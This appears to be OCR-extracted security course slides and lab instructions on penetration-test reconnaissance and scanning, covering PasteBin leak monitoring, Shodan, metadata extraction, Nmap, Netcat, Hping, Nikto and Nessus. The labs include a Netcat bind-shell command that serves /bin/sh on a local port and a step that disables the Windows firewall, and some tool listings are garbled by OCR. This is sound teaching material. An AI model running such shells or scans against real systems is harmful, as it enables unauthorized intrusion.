Usage: eetagoofil options -d: domain to search -t: filetype to download (pdf,doc.xls,ppt,odg,ods,docx,xlsx.pptx) -l: tilet of results to search (default 200) -h: work with documents ha directory (use "yes" for local analysis) -n: lualt of files to download -o: working directory -f: output file Examples: eetagoofil.py -d microsoft.com -t doc.pdf -1.200 -n 58 -o microsoftfiles -f results.html	Goofile 1.5 usage: goofile options -d: domain to search -f: filetype (ex. pdf) examine: gootile.py.:d text.com.f txt			
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In addition to Gooscan, which has been updated and included in the latest version of the Kali pen testing distribution, three other tools of note are included:

- **Metagoofil**: This is a full-featured scraping tool that can use Google to pull down files with a flexible syntax and approach.
- Goofile: This is a more simplistic Google scraping tool that looks for files within domains.
- **Goohost**: Using Google, Goohost can search for e-mails, hosts and domains, and IP address space.



Of course the target itself probably has a website, or two, or three, that can offer a ton of information. You can find anything from phone numbers, e-mail addresses, and contact information, to partners, mergers, and acquisitions. Don't forget to check the HTML source code for the site, because it could reveal additional links, comments, meta tags, etc. With the majority of today's websites, it might be difficult to quickly understand or download the HTML source code. This is due to the fact of the increasing use of dynamic creation of websites, where HTML code is encapsulated in software code.



There are a few additional considerations around recon that warrant mention. These fall into three entirely separate categories.

- Stolen/leaked data: Sensitive information about a target organization that has made its way into the public domain.
- **Public vulnerability exposure**: Search engines for security? Who would think you could search for exposed and vulnerable systems through a nice search interface? Well, you can.
- **Metadata**: Lots of applications embed "background data" or "data about data" within their file format structures. Some files posted online reveal a lot about a target organization.

Let's look at a few of these kinds of tools, including Pastebin, Shodan, and metadata tools.



PasteBin is a site that has recently (in the last several years) proven to be a popular repository for sensitive data leaks and exposure. There are a number of sites and tools that can serve as a "front-end interface" to PasteBin, including PasteLert by Andrew MacPherson.

This site allows you to "subscribe" to alerts based on content triggers from spidering PasteBin. This slide depicts a "subscription" e-mail confirmation looking for specific search terms of interest.

PasteLert Screen				
Dactol ort	Search Alerts About			
rasieleni				
Get Notified!		How This Works		
Email; Twitter Alias: (coming soon)		Register You get an email from me You follow the confirmation link 		
Search Term:		Get Notified		
AND Send Reset		 I index pastebin.com every few minutes Every 10 minutes we search for any "new" (as in from now) pastes We send you any pastebin entries we havent already notified you on via email 		
	······································			
Send Reset		minutes • Every 10 minutes we search any "new" (as in from now) • We send you any pastebin / we havent already notified y v/a email		

This is a screenshot of the PasteLert screen, where you can sign up to get notifications about new postings on PasteBin.



Andrew is a busy man! He wrote another front-end interface to PasteBin and a slew of other "doxing" sites that post sensitive data. This interface is known as PasteBinParser, and he offers the code for you run yourself so that it can be modified and better integrated with the various sites it indexes and alerts from.

Visit the site at http://www.andrewmohawk.com/pasteScrape/#.



A variety of other tools exist for assessing PasteBin and other sites:

- **Pastenum**: A simple command-line tool that scrapes PasteBin.
- **PastebinLeaks at https://twitter.com/PastebinLeaks**: A Twitter feed that can be scraped by custom scripts or API integration that reveals PasteBin posts.
- **Maltego**: A much more robust reconnaissance tool that allows for "transforms" between disparate data types, allowing for complex relationship mapping and data retrieval.
- Morning Coffee Firefox extension: A simple extension that allows for scheduled queries against specific sites with automatic results posted in your browser on a regular basis.



Additional sites with useful reconnaissance functionality for sensitive data queries include:

- **Pastie**: http://pastie.org/
- FrubarPaste: http://paste.frubar.net/
- CodePad: http://codepad.org/
- Slexy: http://slexy.org/



Shodan is a tool mentioned on Day 1, and deserves mention here again. It is essentially a search engine for vulnerable systems and apps. With your search queries, you can include filters to get more specific like the following:

- net: nettblock specification
- city: City of system/target location
- country: Country of system/target location
- port: Service/app ports
- before: Posted before a certain data
- after: posted after a certain date
- os: OS identified in use

Shodan should definitely be in your arsenal of recon tools.



Metadata is another area of interest for recon. There's a lot of data embedded in common file formats, often without people realizing it at all. Office docs, pictures, etc. are all chock full of data that attackers and pen testers can look for during the recon phase.

We explore two tools in particular: exiftool and FOCA.

root@bi:/pentest/enumeration/google/metagoofil/examplefiles# exiftool supplierprofileform.doc ExifTool Version Number : 7.89 File Name : supplierprofileform.doc Directory : File Size : 84 kB File Modification Date/Time : 2012:11:01 17:56:09-04:00 File Type : application/msword Title : PRINTABLE WORKSHEET Subject : Author : Mano Mahendran Keywords : : raj Revision Number : 2 Software : Microsoft Word (8:0) Total Edit Time : 0 Last Printed : 2002:12:08 17:47:00	ExifTool Example				
Create Date : 2003:01:08 16:27:00 Modify Date : 2003:01:08 16:27:00	root@oi:/pentest/enumeration/google/metagoofil/examplefiles# exiftool supplierprofileform.docExifTool Version Number: 7.89File Name: supplierprofileform.docDirectory: .File Size: 84 kBFile Modification Date/Time: 2012:11:01 17:56:09-04:00File Type: DOCMIME Type: application/mswordTitle: PRINTABLE WORKSHEETSubject:Author: Mano MahendranKeywords:Comments:Template: NormalLast Saved By: rajRevision Number: 2Software: Microsoft Word 8:0Total Edit Time: 0Last Printed: 2003:01:08 17:47:00Greate Date: 2003:01:08 16:27:00				
Hyperlinks : http://www.sba.gov/hubzone, C:\Inetpub\www.root\DIV2000\Development\Images-Chris'\NSSD P\nssdpDIV2000com3.jpg, C:\Inetpub\www.root\DIV2000\Development\Images-Chris'\NSSDP\nssdpDIV2000com3.jpg, C:\Inetpub\www root\DIV2000\Development\Images-Chris'\NSSDP\nssdpDIV2000com3.jpg Comp Obj User Type Len : 24					

Exiftool, which is included in the Kali distribution, is an excellent tool that can extract Exchangeable image file format (Exif) data from pictures and other files. You will be amazed at how much data you can extract from downloaded files, including author names and usernames, file locations on internal systems, printers, software versions, dates, and more.

FOCA Example				
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FOCA is a tool available from http://www.informatica64.com/foca.aspx. There are downloadable editions, some of which are free and others commercial. There is also a more limited online version, which is what is shown in the slide.

FOCA can pull enormous amounts of data out of files, as well, including the same things described with Exiftool, and even more! Another great tool to routinely run against documents and other posted data.

,



The next phase of penetration testing is the Scanning phase. This is where several tools are used to scan, detect, and identify the target system, non-obtrusively seeking vulnerabilities to exploit the system. This section of the course covers the tools, techniques, and resources for scanning the target system.



This slide lists the objectives of scanning. Once live hosts are located, you want to find the services and ports that are open on the system, the type of operating system, and the vulnerabilities for that system. Prior to testing the system, it is important to identify what is available to be exploited. It is not possible to attack or test a system that doesn't exist. This will help the tester find a way of entry into the target and create an attack strategy. Scanning can be viewed as an extended form of reconnaissance because you are, in effect, learning more about the target.



This section presents the tools and techniques to do the various types of scanning listed on this slide. Network mapping tries to find live hosts on the network and is usually performed with a ping scan. Once a live host is found, port mapping attempts to see what ports are open and listening on the system. Vulnerability scanning takes scanning a bit further by looking for known vulnerabilities related to the ports that are open and various other configurations. OS fingerprinting can be active or passive, but the goal is the same, to determine what operating system is running on the target. War dialing involves dialing a series of phone numbers owned by the target in hopes of finding unsecured modems. Finally, wireless scanning is used to find open and rogue wireless access points and to possibly sniff wireless traffic.



Traceroute (1)

Traceroute is a ping-based tool that is used to map the path a packet takes from the source to the destination. It comes installed by default on Windows and Unix operating systems. For each hop the packet makes, traceroute shows the IP address and DNS name of that hop. If the packet makes it all the way to the destination without being blocked, there is a good chance that the hop before the final destination is the border gateway or firewall for the network. Sometimes the names will even reveal what the devices are, such as router.company.org or firewall.company.org.



Traceroute (2)

Using traceroute, you can show the path a packet took to a site such as www.google.com. Scanning some of the IP addresses preceding the final destination may provide more information on the network and a potential way in. The list of ip addresses and hosts identify the path of the packet through the network. It can help identify 'important' points on the network, such as network border routers, and help map the network.



The goal of network mapping is to create an inventory of live systems on the target network. Most network mapping is done using an ICMP ping. Ping sends an ICMP request to a host and receives an ICMP reply if the host is alive. In the case when ICMP ping is blocked, other ICMP type scanning, TCP, and UDP packets can also be used for network mapping. Operating systems have ping built in, and specialized tools can also perform network mapping with ping, along with additional features such as parallel pinging. These include Pinger, nmap, WS_Ping ProPack, Hping, and Ping Sweep.



Nmap or 'Network Mapper' is a free and open source tool commonly used as part of the penetration test tool-suite. Nmap is supported on all major commercially available operating systems, such as Linux, Windows, and MacOS. At a minimum, Nmap is helpful in the following scanning activities:

- Network mapping
- Port scanning
- OS fingerprinting

Each of the above scanning activities will be discussed in the following slides.



Nmap uses several methods for network mapping. It uses ping by default and only the hosts that respond are scanned. It also uses another method in parallel to determine if the host is alive. It sends a TCP ack packet to port 80. If it gets an RST packet back, it knows that the system is up. It uses both techniques in case ICMP replies are blocked. Nmap also uses a third technique where it sends a SYN packet and waits for either RST or SYN/ACK. If it gets either response, it knows the host is alive. This is the default method for non-root users. Although nmap performs a ping sweep with all port scans, you can use the -sP command line option to perform just the ping sweep.

There are several other network mapping options for Nmap as well. These include the following:

- -P0: Do not try to ping the host before scanning
- -PA [portlist]: Use the TCP ack for mapping. The default port is 80, but you can also specify a port or port list such as -PA80,21,23,25.
- **-PS[portlist]**: Use the SYN packet for mapping. The default port is 80, but you can also specify a port or port list such as -PS80,21,23,25.
- **-PU[portlist]**: Use UDP for mapping. The host is alive if an ICMP port unreachable packet is sent in response.
- -PE: Use an ICMP echo request for mapping.
- -PP: Use an ICMP timestamp request (type 13) for mapping.
- -PM: Use an ICMP netmask request (type 17) for mapping.
- -PB: Use the default ping type. This uses both the TCP ack and ICMP echo request sweeps in parallel.



The primary goal of port scanning is to identify which services and ports exist on the target system. By identifying the active ports on the target, it will help identify possible vulnerabilities associated with the port and service. This information will help scope future penetration testing of the target.



Port mapping takes scanning a step further. It is used to determine what ports and services are open on a system. Sometimes, if an attacker is sure that a system is alive but isn't responding to ping scans or the responses are being blocked by a firewall, he can launch a full port scan against the system. In this case, responses are received for ports that are open and listening and allowed through the firewall. Knowing the open ports and services helps you to further investigate vulnerabilities that can be possible entry points into the system.

There are many different types of port scanning techniques. However, most of them can be loosely categorized as connect, half-open, or stealth scans. Connect scans perform the full three way handshake and open a connection to the target. These scans are easily detected and often logged. If the port is not listening, the host responds with a RST/ACK packet. A half-open scan does not complete the full TCP three-way handshake. With a half-open scan when a SYN/ACK is received for an open port, the scanner immediately tears down the connection with an RST. This type of scan used to be considered a stealth scan; however, it is easily detected by intrusion detection systems. Stealth scans use various flag settings, fragmentation, and other types of evasion techniques to go undetected. Some examples are a SYN/ACK scan, a FIN scan, an ACK scan, a NULL scan, and a XMAS scan.


The Nmap command line can be used for port mapping options for several common scan types. There are also additional scan types that you can read about on the Nmap man page.

Nmap Connect Scan # nmap -sT 192.168.1.6 Starting Nmap 6.01 (http://nmap.org) at 2014-02-01 17:02 EST Nmap scan report for 192.168.1.6 Host is up (0.0065s latency). Not shown: 985 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1029/tcp open ms-lsa 2869/tcp open icslap 5357/tcp open wsdapi MAC Address: C8:0A:A9:69:59:21 (Quanta Computer) Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds **Advanced Security Essentials**

One type of scan that can be performed is an Nmap connect scan. The command line option is simple, just the term Nmap followed by the -sT command line option and the IP address to scan. You can also specify a range of addresses to scan. When logged in as root, the default Nmap scan is the SYN scan. When logged in as a non-root user, the default is the connect scan. Notice this is more than likely a Windows system because it responds with the popular Windows ports 135, 139, and 445.



Let's not forget that there are a whole other set of ports for UDP. The Nmap command line option -sU is used to perform a scan of UDP ports. This slide shows an example Nmap UDP scan and its results. Notice that the entire 192.168.100.0/24 network was specified instead of just a single host. This capture shows the output from the first host that was scanned. Nmap performs a UDP scan by sending a zero byte UDP packet to each port on the target. If an ICMP unreachable message is received, the port is closed.



Fingerprinting is used to determine the type of operating system that is running on the target. Fingerprinting can be done both actively and passively. With active fingerprinting, the scanner sends numerous packets to the target with various settings. The responses to the settings are analyzed and compared to a list of known values to find a match. Operating systems are all built with identifying characteristics within their TCP/IP stacks and configurations. This includes things such as the TCP window size and TCP initial sequence numbers. Nmap has a list of eight different tests that it sends to the target system. The responses are compared to the file "nmap-osfingerprints" to determine the OS type. Passive fingerprinting also looks at deviations in the TCP/IP stack implementations, however it looks for these deviations by sniffing the traffic on the network. Passive fingerprinting does not send any packets to the target, it just monitors the targets communications. P0f2 is an example of a popular passive fingerprint tool.



Nmap Fingerprinting (1)

Nmap can be used for OS fingerprinting. Notice the -O command line option. Once again, the target of this scan is the entire 192.168.100.0/24 network. This particular device was accurately identified as a Dlink wireless router.



Nmap Fingerprinting (2)

In this example, based on the Microsoft open ports and protocols, Nmap accurately identifies a Windows XP sp2 system.



Nmap now offers a lot more capabilities than ever before, including packet tracing for real-time packet analysis with the --packet-trace flag, runtime interactions such as packet traces, verbosity, and debugging, and badsum scans with the --badsum flag. The badsum option is interesting; it's intended to purposefully create bad packet checksum values that may cause filtering devices to reject packets, thus giving themselves away in the network!



Let's examine some additional Nmap options. OS fingerprinting can be accomplished with the "-O" flag. You can vary scan speeds with the -T option, ranging from 0 (paranoid) to 5 (insane).

Additional tuning options include the --host-timeout and --scan-delay options, which can be useful in getting more effective results depending on the network environment.

Finally, the -sU flag can generate a UDP scan, although these can be very slow and also yield unpredictable results.



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This lab is all about Nmap. We explore a variety of scanning types.



Within VMware Workstation select Edit \rightarrow Virtual Network Editor. For VMware Fusion after version 3, this step is not necessary!

Highlight VMnet1

Change subnet to 10.10.0.0, subnet 255.255.255.0

Click Apply, and then click OK.

Note: You must disable the VMware DHCP server or your Kali VM IP address will change. Simply uncheck the last check box that specifies using DHCP services.

Note: If you are using a different version of Workstation or Fusion, you can identify the Kali and Windows IP addresses on the VMware NAT, and substitute the Windows IP for the 10.10.0.10 and the Kali IP for 10.10.0.11 in the lab.



In a Windows host, open Network Connections (you can type "ncpa.cpl" at a command prompt to get here quickly).

Right-click on VMnet1 and select Properties.

Select Internet Protocol (TCP/IP or IPv4).

Set your IP address to 10.10.0.10, netmask 255.255.255.0

Turn off your Windows firewall (requires administrator access) at a command prompt by executing the command "netsh firewall set opmode disable."



Finally, make sure your Kali VM is open in VMware. (Username/password is "root" and "toor" without the quotes.)

Click VM→Settings in VMware Workstation or Fusion.

- 1. Highlight "Network Adapter."
- 2. Set to "Host-only."
- 3. In a Kali terminal, type ifconfig eth0 10.10.0.11 netmask 255.255.255.0.
- 4. Ping 10.10.0.10.



The first scanner we will use is Nmap. We will execute a variety of different types of Nmap scans against our Windows host to see what kinds of results we can get. Each of the scans you will run is listed in the following slides, along with a screenshot of what the scan should look like.

root@sec501:~#nmap -sS 10.10.0.10

This runs a SYN or "half open" scan against the Windows host. Keep in mind that everyone's Windows systems will vary, so you may see different results!

Examine the results when finished.



The next scan we will run is the most basic type, although a lot noisier and more likely to be logged—the full TCP Connect scan, which follows through the entire 3-way handshake:

root@sec501:~#nmap -sT 10.10.0.10

Examine the results when finished. Was anything different from the SYN scan?



Now let's do a little more complex Nmap scan, checking for both Operating System and Services data. This scan will take a bit longer to complete:

root@sec501:~#nmap -sS -A 10.10.0.10

Examine the results when finished.



Take a look at the results from your last scan. In the latest versions of Nmap, the -A flag will run three major assessments of targets: OS fingerprinting, service fingerprinting, and a variety of script checks. Nmap's scripting engine has grown by leaps and bounds in the last few years and can check for a variety of different issues. We'll look at more scripting features in a moment.



Now let's include a few more interesting options. We'll run the TCP Connect scan again, but also include the --reason option, and while the scan is running, we will use the following keys during the scan for run-time interaction:

• Press the "p" key for packet tracing (and Shift-p to turn off). Press the "v" key to increase the verbosity (Shift-v to turn off). Press the space bar at any time for a progress/status report.

root@sec501:~#nmap -sT --reason 10.10.0.10



Now let's explore some of the Nmap scripting options available to us. Type the following:

cd /usr/share/nmap/scripts

In this directory, you should see a number of files ending with the ".nse" extension. These are specific scripts Nmap can run to check for vulnerable services and other more in-depth issues than simple ports open and available. Take a look at some of the various scripts available, and look for specific categories of scripts within the script database by typing the following command (using "intrusive") as an example:

cat script.db | grep intrusive

Poke around a bit and see what's there!



Now let's try a few scripts out. First, start up SSH:

service ssh start

Now, check your local system to see if it supports an older version of SSH, SSHv1:

nmap -n -sC --script=sshv1.nse 127.0.0.1 -p 22

~~

By default, the version on your system does not support version 1, as shown by the "normal" scan output in your slide. If you had supported SSHv1, you would have gotten additional scan information.



Let's run an Nmap script that emulates the "NBTstat" command on Windows. Run the following command:

nmap -n -sC --script=nbstat.nse 10.10.0.10

You should see some standard NetBIOS over TCP/IP data returned—cool! Nmap is becoming a much more capable tool, indeed.



This wraps up our initial scanning lab! We've had some fun with Nmap, which is definitely the most popular scanning tool for pen testers today. Let's explore some other tools and options.

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Amap, a tool by The Hacker's Choice team, serves as a nice complement to Nmap. It can help to check for service versions and types just like the Nmap -sV option.

Amap leverages two files:

- appdef.trig: Known service strings that match signatures
- appdef.resp: AMAP's scripted response to the initial trigger



To run Amap, use the following syntax:

amap -bqv <IP address> <ports>

This prints service banners detected (-b) and gives us verbose output (-v) and a filtered report (-q). You can also output results into a file with -o <output filename>.

A good general rule of thumb is to always run more than one tool to verify results!



Xprobe2 allows for granular OS fingerprinting and serves again as a great companion to Nmap. The OS fingerprint database may not be as current as Nmap, however.

Run the command by itself with default options using:

xprobe2 <IP address>

Check the options available with -h, and see the specific OS and traffic analysis modules with -L.



Netcat (1)

Netcat is a fantastic tool that offers a staggering array of functionality for pen testers. It can serve as a simple scanning engine, although this is really not its forte. It is better served as a "helper" tool to send and receive data, as well as performing simple numeration and queries of services.

Common Netcat command-line flags include:

- -l <port> (or -L on Windows): Listen on a port.
- nc <target> <port>: Connect to a port.
- -e <command>: Execute a command upon connecting.
- < (file) or > (file): Send a file or receive a file.
- -z: Send no data.
- -w <seconds>: Wait for <seconds> for connection timeout.



Netcat (2)

Let's look at two examples of Netcat in action.

The first example is Netcat as a simple port scanner:

nc -v -w 2 -z 10.10.76.51 10-200

This command scans 10.10.76.51 on ports 10-200, with verbose output (-v), a short wait between transmissions (-w 2), and zero extra data sent (-z).

The second example shows Netcat connecting to a service and querying with arbitrary input:

nc 10.10.86.51 80

Netcat connects to a web service, and then the tester enters additional commands to solicit output.



Netcat (3)

In this slide, you can see more examples of Netcat being used to push and pull files between systems, as well as making connections to a shell and executing commands. Netcat can listen for connections, redirect connections, and more!

The SANS SEC504 and SEC560 classes go into much more detail on Netcat and pen testing in general. It is highly recommended!

Netcat Banner Grabbing	
\$ nc www.xyz.edu 80 GET / HTTP/1.0	\$ nc www.xyz.edu 80 GET/HTTP/1.0
HTTP/1.1 200 OK Date: Tue, 06 Sep 2005 18:32:05 GMT Server: Apache/2.0.52 (Unix) Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 <html> <head></head></html>	<h1>Cannot process request!</h1> The server does not support the action requested by the browser. If you think this is a server error, please contact the webmast er. <h2>Error 501</h2> <address> www.xyz.edu Tue Sep 6 14:42:53 2005 Apache/2.0.52 (Unix)</br> </address> </a
Advanced Security Essentials	

Banner grabbing is a very basic form of scanning, and to some extent, enumeration (covered later), that connects to services and observes the output. This often reveals software versions, OS types, and other information. Here is an example Netcat banner grab. In this case, after connecting to www.xyz.edu on port 80, we issued the "GET / HTTP/1.0" command in hopes of getting some system information. We found that the server is Apache version 2.0.52 running on Unix.

On the right side of the slide is another example of a Netcat banner grab. In this case after connecting to www.xyz.edu on port 80, we issued the "GET/HTTP/1.0" command by accident, which is missing the spaces after the GET and before the HTTP. The server did not understand the request and responded with an error. Although we didn't get the system information we were expecting because of the error, the error message itself contained the web application version and operating system (shown in bold). Because that is all we needed, that worked just fine.



Hping (1)

Hping is a packet-crafting tool that can quickly generate packets during pen tests, helping you to validate scan results, create custom queries, and more. Hping is excellent for focused and targeted testing of network devices and listening services. It first sends a "null" packet (no TCP flags) to port 0 by default, and can also send UDP (--udp) or ICMP (--icmp) packets as well.

Hping can also easily send all TCP flags: --syn, --push, --ack, --urg, --fin, and --rst.

The --scan option can be used to scan any range of ports on a host, but the authors recommend Scapy (a very powerful Python-based packet crafting framework) for more advanced capabilities.



Hping (2)

This slide depicts a few Hping examples, where we're designating source (--baseport) and destination (--destport) ports for traffic, as well as sending actual payload data in traffic as well.



There are many tools available to aid with web application assessments.

Some of these are more specifically targeted at attacks:

- HP SPI Dynamics WebInspect
- Cenzic Hailstorm
- Fuzzers like Immunity's Canvas

Other are web application scanners or inspection proxies (local proxies)

- Burp
- ZAP Proxy
- Nikto/Wikto

In this section, we briefly take a look at a few of these scanners.



Burp Suite (Free and Professional versions) is a powerful web application testing toolkit. Features include spidering, a capable proxy, authentication attacks, scanning and automated attacks (in the Pro version only), and much more.

A number of plugins have been written by third parties that integrate into Burp. The CO2 plugin, from Secure Ideas, allows testers to integrate other tools such as SQLmap and Cewl, as well as scripting attacks, username manipulation, and other varied attacks. More on CO2 can be found at http://co2.professionallyevil.com/.



Paros has been superseded by ZAP. More along the lines of scanning and enumeration, ZAP can help us by spidering and scanning sites. The scanning engine is very simple. It looks for some basic OWASP vulnerabilities in sites, but can serve as a great first step for evaluating web pages and code.



Nikto/Wikto (1)

Nikto by Sullo leverages the libWhisker library by Rain Forest Puppy (RFP). This was truly one of the first web app hacking/assessment tools provided to the community many years ago, and it is still being actively maintained today.

Nikto can check for thousands of known issues with web services, including:

- "Interesting" files or misconfigured/default files/services
- Information disclosure
- XSS/SQL/Command Injection
- File retrieval

Nikto also has a "Single" mode, where a completely customized HTTP request can be generated against a target site.



Nikto/Wikto (2)

Wikto is a Windows-based tool from the fine folks at Sensepost; it incorporates the Nikto functionality into a nice GUI.

You can download Wikto from the Sensepost site at http://www.sensepost.com/labs/tools/pentest/wikto.


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In this lab, we'll take a look at a few more options for scanning and enumerating systems and web apps. We'll explore AMAP, Xprobe2, Hping3, Nikto, and Netcat.



Another tool we should run to do more application mapping and analysis is Amap. First, let's start the local Apache server in your Kali image. At a terminal shell prompt, execute the command:

service apache2 start

Now, run the following command:

root@sec501:~#amap 127.0.0.1 80 -b -q -v -o amapscan.txt

You should see a variety of service banner information displayed, possibly giving you more details on the service running and available.



Another tool we can use to verify OS details is xprobe2. Run xprobe2 as follows and check the results for accuracy on your system:

root@sec501:~#xprobe2 127.0.0.1

Examine the results when finished.



To finish this exercise, let's create a few specific packets with Hping3. We can specify any aspect of a packet that we want to using this tool, and for this exercise we'll simply control protocols, as well as source and destination ports.

To launch a simple TCP SYN packet, enter the following command:

root@sec501:~#hping3 --baseport 53 --destport 80 --syn 127.0.0.1

Experiment with a few different base ports and destination ports! Try this next combination:

```
root@sec501:~#hping3 --baseport 1025 --destport 80 --syn --ack 127.0.0.1
```

You should get RESET packets back, as this represents the 2nd leg of the 3-way handshake without a normal stateful connection attempt.

	MIRCO
• Run a bas	c Nikto scan against 127.0.0.1
– Anything	show up as vulnerable?
root⊗bt:/pentest/web/nikto≇ ./nikto.pl -hd - Nikto v2.1.5	st 127.0.0.1
+ Target IP: 127.0.6.1 + Target Hostname: localhost + Target Port: 80 + Start Time: 2013-01-06 19:23:23	(GMT-5)
<pre>+ Server: Apache/2.2.14 (Ubuntu) + Apache/2.2.14 appears to be outdated (co + Allowed HTP Methods: GET, HEAD, POST, 0 + OSVDB-3268: /doc/: Directory indexing fo OSVDB-361 /doc/: The /doc/ directory is + OSVDB-361: /server-status: This reveals + OSVDB-361: /icons/: Directory indexing + OSVDB-3263: /icons/: Directory indexing + OSVDB-3263: /icons/: Allowed: Apache defaul + 6474 items checked: 0 error(s) and 7 it + End Time: 2013-01-66 15:23:30</pre>	rrent is at least Apache/2.2.19). Apache 1.3.42 (final release) and 2.0.64 are also current. PTIONS und. browsable. This may be /usr/doc. Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts. found. I file found. R(S) reported on remote host (GMT-5) (7 seconds)
+ 1 host(s) tested	

Now, let's run a simple web application scan against our local system.

Run a simple test against the localhost and see what results you get:

./nikto.pl -host 127.0.0.1

If you have extra time, try the command with the -Single flag, and enter specific values for your request. This is a great way to do simple manual web app testing!



Now, let's have some fun with Netcat. First, open TWO side-by-side Terminal windows in Kali. In the first one, type the following command:

nc -l -p 12345

Note that this is a lowercase L, not a number 1. In the second window, initiate Netcat as a client with the following command:

nc 127.0.0.1 12345

Now, type some text on either side. Do you see it in the other window?



Now let's have some more fun. First, hit Control-C to kill the Netcat connection in the first window. In that same window, enter the following command:

nc -l -p 12345 -e /bin/sh

From the second window, enter the same client connection command as last time: nc 127.0.0.1 12345

You should not see a shell prompt come back, but type commands like "pwd" and "whoami." Do you get responses?



Now, just for fun, create a simple text file called request.txt with some HTTP header info in it:

echo -e "HEAD / HTTP/1.0 \n\n" > request.txt

Now, let's use Netcat to send that data to our local Web server:

nc -q 2 -v 127.0.0.1 80 < request.txt

Do you see something like that in the slide?



In this lab, we used a few more tools and techniques to learn about systems and apps we are targeting. We specifically expanded our capabilities in the following areas:

- OS fingerprinting
- Service fingerprinting
- Web scanning
- Network connections and banner grabs

We've got plenty more to do, so let's keep cranking!



Vulnerability scanning takes network mapping and port scanning one step further to find out even more information about the target. Not only will a vulnerability scanner look for live systems and ports and services, it can also look for vulnerabilities associated with those services. Some vulnerability scanners can even attempt to exploit the found vulnerabilities. Like virus scanners, vulnerability scanners are constantly updated with new tests. Nessus uses nmap as its underlying port scanner.



A war dialer is a program that is used to scan a large range of telephone numbers for modems and to detect vulnerable modems to provide access to the system. The Demon dialer is a tool used to monitor specific phone numbers and target modems.



Users often configure programs such as pcAnywhere with little to no security, thus creating an easy entry point for an attacker. Some newer more advanced war dialers can automatically determine the OS of the target and use automated break-in techniques. It can analyze carrier information, negotiation, protocols, and banners to determine the type of remote system. It can then attempt default username and password combinations for that system.

Phonesweep, THC-scan, and WarVOX are examples of war dialing tools. Phonesweep is a commercial war dialer with numerous features, including parallel scanning, system identification, and brute force login attempts. THC-Scan is a free war dialer that runs under the DOS command line. WarVOX is a newer tool from HD Moore.



WarVOX, a tool by Metasploit creator H.D. Moore, allows testers to leverage VoIP technology and perform war dialing with a broadband VoIP provider's connection. Calls are recorded and can be assessed for wave patterns, played back, and so on.

A list of compatible providers is listed on the WarVOX site at warvox.org.



Vulnerability Scanning: Nessus (1)

Nessus is a commercial GUI-based vulnerability scanning tool. It uses the client/server architecture, although both server and client can be on the same platform. When running Nessus, you must beware that some of the tests, such as the DOS test, can crash the target system. These can, however, be disabled and passive safe checks used instead.



Vulnerability Scanning: Nessus (2)

The Nessus plugin screen allows you to choose which vulnerability checks you would like to perform. It also allows you to check items, such as CGI abuses, Default Unix Accounts, Backdoors, and other common vulnerabilities that may be applicable to the target system.

🚺 Hosts	Hosts Summary	Sert Options Q Effect flusts
🖗 Valesrahl ios	192.169.1.6	448
🕑 Executivado		

Vulnerability Scanning: Nessus (3)

Once a target is selected, you can choose "Start the Scan" to begin scanning. This slide shows an example of the progress window that then appears. At the completion of the scan, the tester will have a list of vulnerabilities found on the target system.



Vulnerability Scanning: Nessus (4)

When the scan is completed, the results window appears. You can than see example results of the scan. Notice that the results are categorized by severity. Also shown are details on the vulnerability and links to references and countermeasures to mitigate it. Nessus is an excellent overall tool to use for scanning.



OpenVAS is a popular open-source vulnerability scanner that is integrated into the Kali distribution. It is a spinoff of the original open-source Nessus scanner, and boasts over 29000 plugins as of January 2015.



This slide lists some of the best-known commercial vulnerability scanners on the market today. SANS doesn't endorse any one tool, so your mileage may vary with any of them.



More and more organizations and home users are deploying wireless networks. Like modems, wireless networks create another entry point into a network. However, because wireless networks use air waves for transmission, the physical network is effectively extended beyond the boundaries of the organization. Also like modems, wireless networks often have little or no security. Looking for rogue and unsecured wireless networks is an essential part of a penetration test. A wireless network that is poorly secured and connected to the internal wired network offers an easy entry point for an attacker. There are several tools available to scan for wireless access points and to attempt penetration, such as Netstumbler and Kismet. There are also tools that will attempt to crack the Wired Equivalent Privacy (WEP) encryption techniques used by some wireless networks, such as AirSnort and WEPcrack. The most common tool employed by pen testers today in the realm of wireless assessment is Aircrack-NG, which can perform WEP and WPA cracking, as well as a variety of supporting functions.



Wireless networks are vulnerable to sniffing, MAC spoofing, and WEP/WPA cracking attacks. They can be sniffed just by an attacker sitting outside of the building in the parking lot. A lot of wireless networks use MAC-level access control; however, MAC addresses can be sniffed even when WEP is in use. Because WEP is not a very secure protocol, it can easily be cracked. Wireless networks are also vulnerable to access point spoofing where legitimate users connect unknowingly to a fake access point, when an attacker can steal passwords, and other information. Because wireless networks use airwaves, they are vulnerable to denial of service attacks from inadvertent or malicious interference from traffic using the same radio band. Each of these attacks, with the exception of DoS, should be attempted as part of a penetration test.



War driving is the act of driving (or walking, or flying) around and locating wireless access points. Netstumbler is a popular Windows-based war driving tool used to find access points and map their location with a GPS. Netstumbler will report the access point SSID, signal strength, MAC address, and channel. There exists Linux and MacOS ports of Netstumbler that perform the same function as the Windows-based tool.

Let's look at an example screen shot of Netstumbler with located access points in Washington, DC. Notice the information that you get such as SSID, channel, and whether WEP or other encryption method is being used.



Another tool that is more up-to-date than Netstumbler is InSSIDer from Metageek. This has better Windows driver support, as well as a streamlined and improved GUI.



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In this lab, we'll run a quick vulnerability scan with Nessus.



Start up Nessus with the following steps:

Log in to Kali. Open a terminal window. Run /etc/init.d/nessusd start. Open Firefox browser to http://127.0.0.1:8834.



Log in to Nessus with these credentials: sec501/sec501

Choose "New Scan" on the left. Then, choose "Basic Network Scan."



Now, we'll need to create a new scan task with specific parameters.

Enter your scan parameters: Name: SEC501 Scan Targets: 127.0.0.1 (local) 10.10.0.10 (Windows)

Click "Save."

Your ScanRunning						
Vour coar	chould now	ho rupping				
	I SHOULD HOW	De running				
Click the	name of the s	scan to see	the real-time results			
Noto, It a	an taka E 10	minutos to	run			
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(ﷺMost Visited ♥ 漸識Ur	tensive Security N Kali Unitx N Kali Ud	ось Кжиторія Мехріон-Ор	66 St			
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Your scan should now be running.

Click the name of the scan to see the real-time results.

Note: It can take 5-10 minutes to run a scan.



Click on either of the two addresses you scanned either during the scan or once it completes.

The various vulnerabilities found will be listed in order of severity (most severe at the top).

Are there any listed that are significant?



In this lab, we briefly explored Nessus, running a simple scan against our Windows and Kali systems.



